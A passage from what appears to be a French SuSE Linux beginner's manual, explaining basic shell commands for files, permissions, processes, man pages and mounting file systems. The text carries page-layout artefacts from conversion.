* * ||| | avec l'option -r ! * * ||| |_______________________________________________________________________________________________________* *________|||_ 19.7.5 Copier, renommer et effacer des fichiers Sous Linux, la commande qui permet de copier les fichiers est cp : tux@terre: > cp fichier_source fichier_cible À la place de , on peut aussi spécifier un répertoire présent. Le fichier source sera alors placé, sous le même nom, dans le répertoire de destination. Pour copier le fichier /etc/XF86Config du répertoire /etc dans votre propre répertoire utilisateur, vous pouvez taper la commande suivante : tux@terre: > cp /etc/XF86Config ~ Les fichiers peuvent être effacés avec la commande rm (angl. remove). L'op- tion -r (angl. recursive) est très pratique. Elle permet d'effacer aussi tous les sous-répertoires et les fichiers qu'ils contiennent (comparable à la commande deltree qui existe depuis la version DOS 6.0). L'entrée de tux@terre: > rm -r bin efface le répertoire bin dans le répertoire courant ainsi que tous les fichiers et répertoires qu'il contient. Cette option doit être utilisée avec la plus grande prudence car il est impossible de récupérer les fichiers effacés par inadver- tance ! La commande mv (angl. move) déplace les fichiers ou les répertoires. Sa syn- taxe est identique à celle de cp . Ainsi, l'entrée de la commande tux@terre: > mv xvnews.tgz XVNEWS.tgz ``déplacera'' le fichier xvnews.tgz du répertoire courant vers le fichier du nom de XVNEWS.tgz dans le répertoire courant, ce qui correspond à un simple changement de nom. Les choses deviennent plus intéressantes lorsqu'il s'agit de déplacer des répertoires complets : 490 __________________________________________________________________________________19.7.__Travailler_avec_les_fichiers_______* *______________________ tux@terre: > mv bin ~/latex déplace le répertoire bin (s'il en existe un dans le répertoire courant) vers ~/latex. Tous les répertoires et fichiers qui se trouvaient auparavant sous bin sont maintenant sous ~/latex/bin. Vous devriez également vous mon- trer très prudent avec cette commande car on a vite fait de déplacer des réper- toires complets vers des endroits ou il est difficile de les retrouver Le déplacement d'un répertoire complet n'est possible qu'à l'intérieur d'un système de fichiers (donc d'une partition). 19.7.6 Recherche et exploration de fichiers Encore une autre commande utile : find . Pour rechercher le fichier emil dans tous les sous-répertoires du répertoire courant, vous devez taper : tux@terre: > find . -name "emil" Le premier argument correspond au répertoire à partir duquel la recherche doit commencer. L'option -name requiert une chaîne de recherche qui puisse aussi contenir des + wildcards. Pour rechercher tous les fichiers dont le nom contient la chaîne de recherche, tapez tux@terre: > find . -name "*emil*" Comme pour toutes les commandes, nous attirons votre attention sur la page de man correspondante qui vous fournira une description plus précise. Il existe encore une méthode beaucoup plus rapide de retrouver des fichiers. Il s'agit de locate . Consultez à ce sujet les pages de man de locate . Si vous ne voulez pas rechercher un nom de fichier déterminé mais une chaîne de caractères dans un fichier, vous pouvez utiliser la commande grep (angl. get regular expression pattern) : La commande suivante recherche dans le fichier emil la chaîne de caractères `détective' : tux@terre: > grep "détective" emil Il est possible, de cette manière, de retrouver rapidement dans une grande quantité de données des chaînes de caractères déterminées. Vous pouvez spé- cifier autant de noms de fichiers que vous le souhaitez. Il est même possible d'utiliser des wildcards et des expressions régulières. Chaque ligne contenant l'occurrence recherchée sera affichée. Il existe plusieurs options qui permettent d'influer sur le comportement de grep . Lisez à ce sujet la page de man de grep (man grep ). 19.7.7 Liens symboliques Par des liens symboliques, il est possible de donner un nom supplémentaire à un fichier. Ce nom pointe vers ce fichier. Il se peut par exemple que vous souhaitiez conserver différentes versions d'un programme tout en étant sûr de toujours retrouver la version la plus récente sous le même nom. La so- lution consiste à créer un lien symbolique pointant sur la version que vous utilisez. Les liens symboliques se comportent comme les fichiers sur lesquels ils pointent et sont par conséquent exécutables. L'entrée de tux@terre: > ln -s check.2.4 check * * 491 19. Débuts sous Linux_____________________________________________________________________________________________________________* *_______________________________________@ crée le lien symbolique check pointant sur le fichier check.2.4. Ceci donne dans le répertoire quelque chose de similaire à : lrwxrwxrwx 1 tux users 1024 Mar 21 17:13 check -> check.2.4* Les liens peuvent être supprimés, tout comme les fichiers, avec rm . ________________________________________________________________________________________________________* *________ | Seul le lien est ici supprimé * * ||| | * * ||| | et non pas le fichier sur lequel il pointe ! * * ||| |_______________________________________________________________________________________________________* *________|||_ 19.7.8 Archivage et sauvegarde de données Pour créer et extraire des archives, on se sert de la commande tar (angl. tape archive). Une archive peut contenir des fichiers individuels et/ou des arbores- cences complètes de répertoires incluant aussi les fichiers de ces répertoires. Il est tout à fait possible de compresser de telles archives, ce qui très souvent en réduit notablement la taille. Traditionnellement, les noms d'archives com- pressées se terminent par l'extension .tgz ou .tar.gz et les noms d'archives non compressées par .tar. Les principaux cas d'application de la commande tar sont : 1. Décompression d'archives (par exemple à partir de CD) tux@terre: > tar xvfz fichierarchive.tgz tar extrait (x ) l'archive compressée (z ) fichierarchive.tgz (f ) et crée automatiquement les sous-répertoires éventuellement nécessaires. Le nom de chaque fichier décompressé est affiché à l'écran (v ). 2. Création d'archives tux@terre: > tar cvfz fichierarchive.tgz fichier1 réper1 tar crée (c ) l'archive compressée (z ) fichierarchive.tgz (f ) qui contient le fichier fichier1 et tous les fichiers du répertoire réper1 y compris ses sous-répertoires. Le nom de chaque fichier compressé est af- fiché à l'écran (v ). 3. Visualisation du contenu de l'archive tux@terre: > tar tfz fichierarchive.tgz tar affiche une table des matière (t ) de l'archive compressée (z ) fichie- rarchive.tgz (f ). L'option z détermine que le programme GNU Zip (gzip ) doit être utilisé pour créer ou extraire des archives compressées. tux@terre: > tar xvf fichierarchive.tar extrait donc le fichier fichierarchive.tar non compressé. Pour obtenir des informations plus détaillées : tux@terre: > tar --help 19.8 Droits d'accès aux fichiers Seul l'utilisateur `root' possède, en qualité d'administrateur système, un droit d'accès illimité à tous les fichiers, ce qui signifie qu'il est aussi le seul à pouvoir positionner ou supprimer tous les droits d'accès. 492 __________________________________________________________________________________19.8.__Droits_d'accès_aux_fichiers________* *______________________ Le concept des droits Les droits d'accès à un fichier sont répartis en trois catégories : ~ Droits du propriétaire ~ Droits pour les membres du groupe ~ Droits pour tous les autres Chacune de ces trois catégories est représentée par trois caractères dans l'affi- chage (long) d'un répertoire. Avec le premier caractère pour le type de fichier (d, l, ou -), ceci donne 10 drapeaux (angl. flags) pour chaque fichier. Chaque drapeau est représenté par un caractère. Les drapeaux possibles pour chaque catégorie sont les mêmes : `r' pour droit de lecture (angl. readable), `w' pour droit d'écriture (angl. writable) et `x' pour droit d'exécution (angl. exe- cutable). Si un drapeau n'est pas positionné, il est remplacé par un tiret `-'. Prenons comme exemple le fichier imaginaire linux.info. -rw-r-xr-- 1 tux users 29524 Jun 29 13:11 linux.info Fig. 19.1: Représentation des permissions sur les fichiers Pour le fichier linux.info, la signification est la suivante : Le proprié- taire du fichier (tux) a le droit de le modifier et de le lire, les membres du groupe users ne sont autorisés qu'à le lire et à l'exécuter alors que les droits de tous les autres utilisateurs du système sont limités à la seule lecture de linux.info. Le signe `-' indique qu'il s'agit d'un + fichier ``régulier'' (angl. regular file). Il en va de même pour les répertoires. Mais dans ce cas, on trouve encore un `d' (angl. directory) devant les 9 caractères qui servent à attribuer les permissions. Ceci peut ressembler à quelque chose comme : drwxr-xr-- 3 tux users 1024 Jun 29 13:11 info/ Lorsque le drapeau `x' est positionnée pour un répertoire, cela signifie que l'on peut passer dans ce répertoire par exemple par la commande cd (angl. change directory). Les utilisateurs ne faisant pas partie du groupe users ne peuvent donc pas passer dans le répertoire info. Modification des droits d'accès Les droits d'accès sont modifiés par la commande chmod (angl. change mode). chmod demande deux arguments : ~ les droits d'accès qui doivent être modifiés et ~ un nom de fichier. Les catégories des trois groupes possibles sont indiquées ici par `u' pour le propriétaire ou l'utilisateur (angl. user), `g' pour le groupe (angl. group) et `o' pour tous les autres (angl. others), placés devant les droits d'accès qui * * 493 19. Débuts sous Linux_____________________________________________________________________________________________________________* *_______________________________________@ doivent être modifiés. Le signe `-' ou `+' est utilisé pour la suppression ou l'ajout de permissions. La commande suivante accorde aux membres du groupe un droit de lecture, de modification et d'exécution du fichier linux. info : tux@terre: > chmod g+rwx linux.info Lorsque les permissions sont positionnées pour les trois catégories d'uti- lisateurs, il suffit d'indiquer les droits qui doivent être modifiés. La com- mande suivante détermine que personne n'a de droit d'écriture sur le fichier linux.info : tux@terre: > chmod -w linux.info Les droits de lecture et d'exécution ne sont pas affectés. Vous pouvez aussi accorder ou supprimer des permissions dans une ligne de commande. La commande suivante positionne les permissions du fichier linux.info sur exécutable, non lisible, non modifiable : tux@terre: > chmod u+x-rw linux.info Le résultat est celui-ci : tux@terre: > ls -l linux.info ---xr-xr-- 1 tux users 29524 Jun 29 13:11 linux.info Dans ce contexte, il existe deux commandes intéressantes qui sont chown pour le ``changement de propriétaire'' (angl. change owner) et chgrp pour changer le groupe (angl. change group). ________________________________________________________________________________________________________* *________|| | La modification des droits n'est cependant possible que si le système de * * |||| | * * ||| | fichiers qui sert de base supporte un système de droits. Avec les systèmes * * ||| | msdos ou vfat , il est nécessaire de fixer les droits dès le ``montage'' (voir * * ||| | * * ||| | paragraphe 19.11.2 page 501). * * ||| |_______________________________________________________________________________________________________* *________|||_ 19.9 Pages de man Les pages de man fournissent des informations sur les commandes, les fi- chiers de configuration et les bibliothèques C. Les différentes possibilités d'appeler la commande sont présentées dans le tableau 19.5 page ci-contre. _______________________________________________________________________________________________________* *_________ man affiche la page de man pour . man -f recherche et liste les pages de man trouvées. man -k recherche dans toutes les sections des pages de man le mot-clé et liste les pages de man trouvées. _______________________________________________________________________________________________________* *_________ Tab. 19.5: Continuer à la page suivante... 494 _____________________________________________________________________________________________________19.9.__Pages_de_man____* *______________________ ______________________________________________________________________________________________________________________ man
affiche la page de man pour de
. Par la com- mande man 1 man , on obtient la page de man pour la commande man de la section 1 . ______________________________________________________________________________________________________________________ Tab. 19.5: Appel de la commande man Sous le système X Window, vous pouvez aussi utiliser le programme xman . La commande ordinaire man n'en a pas moins sa raison d'être : elle est plus rapide. Pour l'affichage des pages de man, la commande man utilise l'outil less (voir le paragraphe 19.7.3 page 489. ~ Si vous avez installé le système d'aide de SuSE , vous pouvez visualiser confortablement les pages de man avec un navigateur Web. Les pages de man sont réparties en différentes sec- tions (voir tableau 19.6). ______________________________________________________________________________________________________________________ 1 Décrit les commandes utilisateur. Il faut toutefois noter que de nom- breuses commandes bash et tcsh sont des commandes internes, ce qui signifie que les informations sont fournies par les pages de man du bash ou tcsh utilisé. 2 Appels système des différentes bibliothèques. 3 Fonctions des bibliothèques C. 4 Description des fichiers de configuration. 5 Syntaxe de fichiers essentiels. 6 Description de jeux. 7 Tout ce qui concerne le texte, format de texte et autres formats. 8 Commandes de l'administrateur système. 9 Description des routines du noyau Linux. n n viendrait paraît-il du mot ``nouveau''. Liste de toutes les pages de man appartenant à l'une des sections ci-dessus mais placées tradi- tionnellement ici ou n'ayant leur place dans aucune des autres sec- tions. ______________________________________________________________________________________________________________________ Tab. 19.6: Sections des pages de man Notez qu'il n'existe pas une page de man pour chaque mot-clé ou com- mande. Vous trouverez éventuellement plus d'informations sous /usr/doc/ (par exemple sous /usr/doc/howto/en, /usr/doc/howto/en/mini) ou dans le répertoire /usr/doc/packages (informations sur les paquetages). * * 495 19. Débuts sous Linux_____________________________________________________________________________________________________________* *_______________________________________@ 19.10 Informations sur l'état du système Il est souvent essentiel de s'informer de l'état du système. Vous pouvez pour cela utiliser les commandes df , free , ps , top . 19.10.1 La commande df df fournit des renseignements sur l'espace disponible et l'espace occupé sur le disque dur. La sortie de la commande est semblable à celle montrée dans l'affichage 19.10.1. ________________________________________________________________________________________________________* *________|| |Filesystem 1024-blocks Used Available Capacity Mounted on * * | | * * | |/dev/sda4 699392 659258 5165 99% /home * * | | * * | |/dev/sda1 102384 23955 73310 25% / * * | |/dev/sdb1 2097136 2070485 26651 99% /usr * * | | * * | |/dev/sda3____________126976____106908_________20068___________84%__/opt________________________________* *________ | affichage à l'écran 19.10.1: Sortie de la commande df 19.10.2 La commande free free fournit des informations sur l'occupation de la mémoire de travail et sur la zone de swap (voir affichage 19.10.2). ________________________________________________________________________________________________________* *________|total| used free shared @ | * * | |Mem: 30900 29272 1628 25608 1012 6412 * * | |-/+ buffers: 28260 2640 * * | | * * | |Swap:______________66524_____176__66348________________________________________________________________* *________ | affichage à l'écran 19.10.2: Sortie de la commande free Voir aussi l'annexe F page 547. 19.10.3 La commande ulimit Avec la commande ulimit , il est possible de fixer des limites à l'utilisa- tion des ressources du système ou d'obtenir l'affichage de celles-ci. ulimit convient tout particulièrement lorsqu'il s'agit de limiter la + mémoire dispo- nible pour les applications. On peut ainsi éviter qu'une application accapare pour elle seule une trop grande quantité de mémoire, voire la totalité de l'es- pace, ce qui risque de provoquer un plantage du système. On peut invoquer ulimit avec différentes options. Les options du ta- bleau 19.7 page ci-contre par exemple sont tout à fait appropriées pour limiter la consommation de mémoire. _______________________________________________________________________________________________________* *_________ -m Taille max. de la mémoire physique -v Taille max. de la mémoire virtuelle (swap) _______________________________________________________________________________________________________* *_________ Tab. 19.7: Continuer à la page suivante... 496 ____________________________________________________________________19.10.__Informations_sur_l'état_du_système______________* *______________________ ______________________________________________________________________________________________________________________ -s Taille max. de la pile -c Taille max. des fichiers core -a Affichage des limites fixées ______________________________________________________________________________________________________________________ Tab. 19.7: ulimit : Configurer les ressources pour l'utilisateur Au niveau système, il est possible de faire des configurations dans /etc/ profile. Ici, la fonction de création de fichiers core (fichiers mémoire) dont les programmeurs ont besoin pour le ``débogage'' doit être opérationnelle. L'utilisateur ne peut pas augmenter les valeurs déterminées par + l'adminis- trateur système dans /etc/profile mais il peut cependant ajouter une confi- guration spéciale dans son propre fichier ~/.bashrc. Voir le fichier 19.10.1. _______________________________________________________________________________________________________________________|#| L* *imite de la mémoire réel@ ||||||||ulimit -m 98304 | |||||||| | |||||||| | ||||||||# Limite de la mémoire virtuelle: | |||||||| | ||||||||ulimit__-v__98304______________________________________________________________________________________________ | fichier 19.10.1: Paramètres ulimit dans ~/.bashrc Les spécifications concernant la mémoire doivent être faites en Ko. Pour plus de détails, jetez un coup d'oeil à la page de man de bash (man bash ). * * 497 19. Débuts sous Linux_____________________________________________________________________________________________________________* *_______________________________________@ 19.10.4 La commande w La commande w montre tous les utilisateurs actuellement connectés au sys- tème. Cette commande procure un tas d'informations utiles. Elle vous fait non seulement savoir combien d'utilisateurs travaillent sur votre système mais aussi depuis combien de temps le système est en marche, quelle est sa charge actuelle et quelles sont les activités des différents utilisateurs (voir affichage 19.10.3). ________________________________________________________________________________________________________* *________|| | 11:05am up 21 days, 21:10, 8 users, load average: 0.23, 0.10, 0.10 * * | |USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT * * | |root tty1 - 11:02am 3:34 0.10s 0.05s -bash * * | |tux tty3 - 11:04am 1:24 1.29s 1.22s emacs * * | |tux pts/1 :0.0 11Feb 0 19:42m 1:18 0.02s sed * * | | * * | |tux pts/2 :0.0 30Jan 0 18:35m 56.29s ? - * * | |tux pts/6 :0.0 31Jan 0 4.00s 1.47s ? - * * | |tux pts/3 :0.0 31Jan 0 2days 1.86s 1.44s bash * * | | * * | |tux pts/9 :0.0 1Feb 0 2days 3.52s ? - * * | |tux pts/10 :0.0 2Feb 0 59:19 9.10s 8.56s lynx * * | |tux pts/11 :0.0 2Feb 0 0.00s 26:49 0.01s * * | | rlogin vénus * * | | * * | |tux__________pts/12_____vénus.cosmos.univers_____11:09am___0.00s___0.11s___0.04s___w___________________* *________ | affichage à l'écran 19.10.3: Sortie de w 19.10.5 La commande du La commande du (angl. disk usage) vous renseigne sur l'espace disque oc- cupé par les sous-répertoires et les différents fichiers. Vous trouverez de plus amples informations à ce sujet dans la page de man de du (man du ). 19.10.6 La commande kill Envoi de signaux aux + processus en cours d'exécution. Demande comme argument le numéro d'identification du processus (angl. process id - PID) qui peut être obtenu par ps (voir paragraphe 19.10.7). La commande kill est invoquée par terre: # kill Si le processus en question intercepte le signal d'arrêt sans réagir, il peut quand même être terminé par le paramètre optionnel -9 . La commande terre: # kill -9 tue définitivement le processus avec ce . 19.10.7 La commande ps La commande ps (angl. process status) montre les processus lancés par l'uti- lisateur. Vous trouverez de plus amples informations sur cette commande dans la page de man de ps (man ps ). La commande ps -a montre les processus en cours d'exécution appartenant aux autres utilisateurs. Par la spécification du numéro de processus (1ère colonne de la sortie de ps ), il est possible d'arrêter certains processus en cours d'exécution (voir paragraphe 19.10.6). 498 ___________________________________________19.11.__Systèmes_de_fichiers_sous_Linux_~_mount______et_umount___________________* *______________________ 19.10.8 La commande pstree pstree affiche l'arborescence complète des processus sous une forme facile à superviser.|Voir|l'affichage 19.10.4. | |||||||| | _______________________________________________________________________________________________________________________|| ||||||||init-+-bash---startx---xinit-+-X | |||||||| | `-sh---fvwm-+-FvwmPager | |||||||| | |||||||| | |-FvwmWinList | |||||||| | |-GoodStuff | |||||||| | |||||||| | |-xclock | |||||||| | `-xeyes | |||||||| |-color_xterm---bash---xdvi.bin---gs | |||||||| | |||||||| |-2*[color_xterm---bash---vi] | |||||||| |-color_xterm---bash---pstree | |||||||| | |||||||| |-coolmail---coolmail---xterm---pine | |||||||| |-cron | |||||||| | |||||||| |-gpm | |||||||| |-inetd | |||||||| | |||||||| |-kflushd | |||||||| |-klogd | |||||||| | |||||||| |-kswapd | |||||||| |-5*[mingetty] | |||||||| | |||||||| |-4*[nfsiod] | |||||||| |-sh---master---slipto | |||||||| |-syslogd | |||||||| | |||||||| |-update | |||||||| |-xload | |||||||| | ||||||||_________`-xosview_____________________________________________________________________________________________ | affichage à l'écran 19.10.4: Sortie de pstree 19.10.9 La commande top Affichage de tous les processus en cours d'exécution, de la charge assumée par le système etc. Cette liste est périodiquement_actualisée et l'on termine l'affichage en appuyant sur la touche |q_ |. 19.11 Systèmes de fichiers sous Linux ~ mount et umount 19.11.1 Vue d'ensemble La manipulation des systèmes de fichiers constitue parfois un art en soi. Sous Linux, vous disposez de nombreux + systèmes de fichiers différents. Il vous en est présenté une sélection au tableau 19.8 page suivante. ______________________________________________________________________________________________________________________ affs Système de fichiers utilisé sur Amiga (angl. Amiga Fast Fi- lesystem). ______________________________________________________________________________________________________________________ Tab. 19.8: Continuer à la page suivante... * * 499 19. Débuts sous Linux_____________________________________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ ext2 (angl. Second extended Filesystem) Le système de fichiers standard sous Linux. hpfs Système de fichiers standard de IBM OS/2 (angl. High Per- formance Filesystem). Il est supporté par Linux uniquement avec accès en lecture seule (angl. read-only). iso9660 Système de fichiers standard sur CD~ROM. minix Ce système de fichiers a son origine dans des projets d'en- seignement supérieur concernant les systèmes d'exploitation et fut le premier système de fichiers utilisé pour Linux. À l'heure actuelle, il est surtout utilisé sous Linux comme sys- tème de fichiers pour disquettes. msdos Système de fichiers conçu initialement pour DOS mais uti- lisé aujourd'hui par divers systèmes d'exploitation. ncpfs Système de fichiers pour intégrer les volumes Novell. nfs Ici, les données se trouvent sur le disque d'une autre machine et sont rendues accessibles de façon transparente à travers un réseau (angl. Network Filesystem). proc Système de fichiers de processus (virtuel). smbfs SMB (angl. Server Message Block) est un protocole utilisé par WfW , Windows NT et LAN Manager pour mettre à dis- position des fichiers à travers un réseau. sysv Système de fichiers utilisé par SCO-Unix , Xenix et Coherent (systèmes Unix commerciaux pour PC). ufs Système de fichiers utilisé par BSD , SunOS et NeXTstep . Ce système de fichiers est supporté par Linux uniquement en mode lecture seule (angl. read-only). umsdos (angl. Unix on MSDOS) basé sur un système de fichiers fat ordinaire, il peut être doté, par la création de fichiers spé- ciaux, des fonctionnalités Unix (permissions, liens, noms de fichiers longs). Il est toutefois très lent. vfat Extension du système de fichiers fat . Permet d'utiliser des noms de fichiers longs (angl. Virtual FAT ). _______________________________________________________________________________________________________* *_________ Tab. 19.8: Types de systèmes de fichiers sous Linux 19.11.2 Montage et démontage de systèmes de fichiers Par la commande mount , exécutée normalement par le seul utilisateur `root', un support de données est intégré dans le système de fichiers Linux. Ici, mount requiert deux arguments : ~ le nom du support de données (correspondant au nom du périphérique, par exemple /dev/hda3) ~ et un répertoire sous lequel le support de données doit être rattaché ; ce répertoire doit déjà exister. 500 __________________________________________________________19.12.__Commandes_DOS_sous_Unix_avec_mtools_______________________* *______________________ L'option -t indique le type de sys- tème de fichiers qui doit être monté (voir tableau 19.8 page précédente). Exemple : l'appel de terre:/ # mount -t msdos /dev/hda2 /dosa met à disposition la partition DOS hda2 sous le répertoire /dosa. Le réper- toire /dosa doit être créé auparavant (voir paragraphe 19.6 page 486). Si certains périphériques (angl. devices) doivent toujours être montés au même emplacement dans le système de fichiers (par exemple le lecteur de disquettes ou des lecteurs de CD-ROM supplémentaires), vous devriez faire une entrée dans le fichier /etc/fstab ; voir à ce sujet la page de man de mount (man 8 mount ). Par l'option -r , un support de données est monté en lecture seule (angl. read-only). L'écriture de données sur ce support n'est pas autorisée. D'autres options sont décrites dans la page de man de mount (man 8 mount ). _______________________________________________________________________________________________________________________|| |||||||| Si vous voulez écrire sur des partitions DOS en tant qu'utilisateur normal ||| | |||||||| (pas sous le compte `root'), informez-vous sur la marche à suivre dans || | |||||||| || | |||||||| http://sdb.suse.de/sdb/en/html/kfr_18.html. || | ||||||||_______________________________________________________________________________________________________________||_ mount établit un protocole du système de fichiers monté. Ce protocole se trouve dans le fichier /etc/mtab. Si mount est invoqué sans arguments, le contenu de ce fichier sera affiché. C'est ainsi que l'on obtient une liste de tous les fichiers montés. Par umount , un support de données est supprimé du système de fichiers Linux7 . Comme argument pour umount , on peut spécifier soit le nom du fichier de périphérique, soit le nom du répertoire dans lequel le support de données est intégré. Pour ``démonter'' par exemple /dev/hda2 qui se trouve sous /dosa on peut entrer soit terre: # umount /dosa soit terre: # umount /dev/hda2 _______________________________________________________________________________________________________________________|| |||||||| Dans le cas de systèmes de fichiers montés à partir de disquettes ou autres ||| | |||||||| || | |||||||| supports amovibles, il est essentiel, avant de retirer la disquette, d'exécuter || | |||||||| || | |||||||| la commande umount . || | |||||||| S'il existe encore des fichiers ouverts sur un support de données monté, les || | |||||||| || | |||||||| données seront réécrites à l'appel de la commande umount ; si ce n'est pas || | |||||||| possible, vous recevrez un message d'erreur. || | |||||||| || | |||||||| Si l'on veut démonter un système de fichiers, il ne doit plus y avoir aucun || | |||||||| utilisateur dans un répertoire (par exemple avec un shell) se trouvant au || | |||||||| || | |||||||| dessous du point de montage. || | ||||||||_______________________________________________________________________________________________________________||_ 19.12 Commandes DOS sous Unix avec mtools Pour la manipulation des systèmes de fichiers DOS, aussi bien sur disque dur que sur disquette, on dispose des mtools du paquetage mtools, série 7 ____________________________________________________ Le nom de la commande était en fait unmount mais le caractère `n' a disparu au cours de l'évolution du système Unix. * * 501 19. Débuts sous Linux_____________________________________________________________________________________________________________* *_______________________________________@ ap. Ici, chacun des programmes tente d'émuler aussi bien que possible son équivalent sous DOS. Toutes les commandes mtools ont le même nom que les commandes correspondantes sous DOS avec un `m' comme préfixe, par exemple mcopy . mcopy . ________________________________________________________________________________________________________* *________ | Les commandes mtools ne doivent être utilisées que si la disquette n'est * * ||| | * * ||| | pas montée ! * * ||| |_______________________________________________________________________________________________________* *________|||_ Les noms de fichiers DOS sont constitués d'une lettre de lecteur suivie d'un double point, d'un sous-répertoire (optionnel) ainsi que du nom de fichier proprement dit. Pour séparer les sous-répertoires sous DOS, on utilise exclu- sivement la barre oblique inversée `\'. Avec les mtools sous Linux, on peut utiliser aussi bien la barre oblique `/' que la barre oblique inversée `\'. Si l'on utilise la barre oblique inversée `\' ou des + wildcards tels que par exemple `*' ou ` ?', ceux-ci doivent être placés entre guillemets, sinon ils seraient d'abord interprétés par le shell et ne parviendraient pas jusqu'à la commande mtools . L'astérisque simple `*' correspond pour mtools à la suite de caractères `*.*'. Au lieu de la traditionnelle barre oblique `/' qui sert à passer des paramètres sous DOS, on utilise sous Linux le signe de soustraction `-'. Le lecteur standard pour mtools est le premier lecteur de disquettes (sous DOS `a :') et mtools prend le répertoire racine de la disquette a :\ comme répertoire par défaut. Si un autre répertoire doit être utilisé, changez au moyen de mcd . N'oubliez pas, avant d'insérer une autre disquette, de re- tourner dans le répertoire racine du support de données sinon aucune nouvelle arborescence des répertoires ne pourra être lue. Voici les commandes (DOS) couramment supportées par mtools : _______________________________________________________________________________________________________* *_________ mattrib Modification des attributs des fichiers DOS (hidden , system , etc.). mcd Changement de répertoire. mcopy Copier depuis/vers DOS vers/depuis Unix, aussi de manière récursive. Notez que vous ne devez pas oublier d'indiquer ici la destination. mdel Effacement d'un fichier DOS. mdeltree Effacement récursif d'un répertoire DOS. mdir Affichage d'un répertoire DOS. mformat Création d'un système de fichiers DOS sur une disquette formatée bas niveau. Le formatage de bas niveau se fait par la commande fdformat . mlabel Renommer un support de données DOS. mmd Création d'un sous-répertoire DOS. mrd Effacement d'un sous-répertoire DOS. mread Lecture d'un fichier DOS dans un système Unix. _______________________________________________________________________________________________________* *_________ Tab. 19.9: Continuer à la page suivante... 502 _______________________________________________________________19.13.__Vue_d'ensemble_des_commandes_Unix____________________* *______________________ ______________________________________________________________________________________________________________________ mren Renommer un fichier DOS existant. mtype Affiche le contenu d'un fichier DOS. mwrite Copie bas niveau d'un fichier Unix sur un système de fi- chiers DOS. ______________________________________________________________________________________________________________________ Tab. 19.9: Commandes du paquetage mtools Par défaut, il est présumé que le périphérique a: est un lecteur de disquettes 3.5 pouces et le périphérique B: un lecteur de disquettes 5.25 pouces. Les formats de disquettes 720 Ko et 1.44 Mo ou 360 Ko et 1.2 Mo sont ici supportés. Dans /etc/mtools.conf, il est possible de modifier ces paramètres par défaut. Les entrées sont réparties chacune dans une ligne de la façon suivante : ~ Nom de lecteur (sous DOS), par exemple a: ~ Fichier de périphérique (Linux), par exemple /dev/fd0 ~ Numéro identificateur (12 pour lecteur de disquettes, 16 pour disque dur) ~ Nombre de pistes, têtes et secteurs Une modification des paramètres permet d'utiliser deux lecteurs de disquettes 3.5 pouces. On ne devrait toutefois pas spécifier deux fois la même lettre de lecteur DOS ou le même fichier de périphérique. 19.13 Vue d'ensemble des commandes Unix Les commandes les plus importantes sont listées dans le tableau 19.10 page suivante ; les paramètres optionnels sont indiqués entre crochets `[]'. ______________________________________________________________________________________________________________________ cd repert Passe dans le répertoire repert. cd .. Passe dans le répertoire père. cd /repert Passe dans le répertoire /repert. cd [ ] Passe dans le répertoire utili- sateur. cp fichiersource fichiercible Copie fichiersource vers fichiercible. ______________________________________________________________________________________________________________________ Tab. 19.10: Continuer à la page suivante... * * 503 19. Débuts sous Linux_____________________________________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ ln [-s] référence nom Crée, dans le répertoire cou- rant, le lien [symbolique] nom pointant sur le fichier référence.nom spécifie le chemin dans lequel le fichier recherché pourra être re- trouvé. Seuls des liens sym- boliques peuvent être créés à travers différents systèmes de fichiers. Les liens sym- boliques peuvent même faire référence à des répertoires. ls [repert] Liste tous les fichiers et ré- pertoires dans le répertoire repert (uniquement noms de fichiers). ls -l [repert] Liste tous les fichiers et ré- pertoires dans le répertoire repert (affichage long dé- taillé). Sans paramètres : le contenu du répertoire cou- rant. ls -a [repert] Affiche aussi les fichiers cachés, (par exemple ~/ .xinitrc). mkdir nouveaurepert Crée le répertoire nouveaurepert. less fichier Affiche un fichier page par page (défilement en avant avec la barre_d'espace, en ar- rière avec |b_ |). mv defichier versfichier Déplace un fichier ou le re- nomme. rm fichier Efface fichier (y compris les liens !). rm -r repert Effacement récursif du ré- pertoire repert (avec sous- répertoires. rmdir repert Efface le répertoire repert (s'il est vide). _______________________________________________________________________________________________________* *_________ Tab. 19.10: Vue d'ensemble des principales commandes Unix Dans le tableau 19.11 page ci-contre, vous trouverez quelques commandes qui vous aideront à effectuer des recherches. 504 ___________________________________________________________________________________________________19.14.__Pour_terminer____* *______________________ ______________________________________________________________________________________________________________________ find . -name "fichier" Recherche fichier dans tous les sous- répertoires du répertoire courant. find . -name "*emil*" Recherche tous les fichiers dont le nom contient la chaîne de caractères `emil'. commande man Donne une description de commande . grep chaînes fichiers Recherche dans tous les fichiers la `chaîne' spécifiée qui peut bien sûr contenir des ``expressions régulières'' (voir paragraphe 19.7.2 page 488 ou man regexp ). ______________________________________________________________________________________________________________________ Tab. 19.11: Aperçu des commandes de recherche 19.14 Pour terminer Les répertoires généraux de commandes sous Linux sont : ~ /bin ~ /sbin ~ /usr/bin ~ /usr/sbin ~ /usr/X11R6/bin Vous y trouverez encore de nombreuses autres commandes. Avec man , vous obtiendrez des informations détaillées sur les commandes et programmes disponibles, à condition bien sûr qu'il existe une page de man (voir paragraphe 19.9 page 494). La sortie est dirigée vers le périphérique de sortie standard (en général l'écran). À l'aide des pipes, symbolisés dans la ligne d'invite du shell par le caractère `|', vous pouvez faire ces sorties directement sur l'imprimante ou, le cas échéant, les faire écrire directement dans des fichiers. Exemple : Vous voulez faire imprimer la page de man se rapportant à la commande ls . Pour cela, vous devez taper : tux@terre: > man -t ls | lpr Vous trouverez des introductions aux pages de man classées par thèmes dans le système d'aide hypertexte de votre SuSE Linux. Lancez simplement la commande susehelp . Vous avez aussi la possibilité de suivre les hyperliens vers d'autres pages de man. * * 505 19. Débuts sous Linux_____________________________________________________________________________________________________________* *_______________________________________@ 19.15 L'éditeur vi L'utilisation de vi demande une certaine habitude. Nous lui donnons toutefois ici la préférence par rapport à d'autres éditeurs car d'une part il est disponible sur tout système de type Unix et fait partie d'une installation Linux standard et d'autre part son mode d'utilisation est clair et ne prête en général à aucune confusion. De plus : lorsque rien ne va, on peut compter sur vi . Les instructions succinctes qui vont suivre devraient vous permettre par exemple d'éditer divers fichiers de configuration à l'aide de vi . Concept : vi connaît 3 modes de fonctionnement : ~ Mode commande (angl. command mode) Chaque pression de touche est interprétée comme partie d'une com- mande. ~ Mode insertion (angl. insert mode) Les pressions de touches sont interprétées comme entrées de texte. ~ Mode commande complexe (angl. last line mode) Pour commandes plus complexes éditées dans la dernière ligne. Principales commandes du mode 